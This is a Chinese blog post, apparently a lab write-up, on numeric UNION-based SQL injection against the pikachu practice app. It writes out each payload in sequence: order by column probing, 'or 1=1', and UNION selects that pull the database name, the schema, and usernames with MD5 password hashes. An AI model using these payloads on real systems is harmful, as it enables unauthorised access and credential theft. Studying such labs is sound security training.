联合查询注入——数字型

联合查询注入——数字型注入

1.查看界面

  可以看见在界面中有下拉框,包含了1到6的数字,我们只能够选择数字,点击对应的数字回馈对应的用户信息,无法进行输入,所以我们需要将注意力放到报文当中

2.分析报文

  点击数字1进行查询,得到如下报文:

  在报文中显示中可以看见传送了id=1的内容,可以判断出该处为注入点。

3.进行注入

  分析查询结果:

  查询的结果可以看见,返回的是一个人名和一个邮箱,所以猜测查询语句查询了两个字段,在注入点中使用order语句测试字段数

  先测试注入两个字段:

1
order by 2

  可以看见,反馈是正常的,接下来尝试注入三个字段:

1
order by 3

  通过2列和3列的注入反馈不同,说明没有第三列,查询语句指用了两个列名,假设治理使用的SQL语句为:

1
select 人名 邮箱 from 用户表 where id=1

4.尝试or的注入

  尝试让它将用户表所有人的信息查询出来,在后面加上永真的判断注入:

1
or 1=1

  可以看见反馈出了所有人的名单信息,说明注册成功。

5.获取数据库名

  使用 union 查询当前的数据名和当前的用户

1
union select database(),user()

  可以看见在反馈中给出了数据名和当前的用户信息。

6.获取表名

  利用查出来的数据库名称 pikachu 构建payload查询表名:

1
union select table_schema,table_name from information_schema.tables where table_schema='pikachu'

7.获取表

  查询pikachu这个数据库发现里面有个users表,查看相关内容

1
union select table_name,column_name from information_schema.columns where table_schema = 'pikachu' and TABLE_NAME = 'users'

8.获取表的内容

  通过第七步,就知道了所属的所有表名,接下由于联合查询要求前后两个SQL语句的列名数要一致,所以这里只能用两个列名进行查询。

1
union select username,password from users

9.进行解码

  通过上述的SQL注入,我们得到了三组用户名和密码

整理用户名和密码

  • 用户名 admin

    • 密码 e10adc3949ba59abbe56e057f20f883e
  • 用户名 pikachu

    • 密码 670b14728ad9902aecba32e22fa4f6bd
  • 用户名 test

    • 密码 e99a18c428cb38d5f260853678922e03

  使用kali的工具hash-identitier判断用户的密码的哈希类型最终确定为MD5,进行解码:

  好家伙,不只是可以注入还是弱口令,框框给他几个大嘴巴子


联合查询注入——数字型
https://one-null-pointer.github.io/2022/08/08/SQL注入——数字型/
Author
liaoyue
Posted on
August 8, 2022
传送口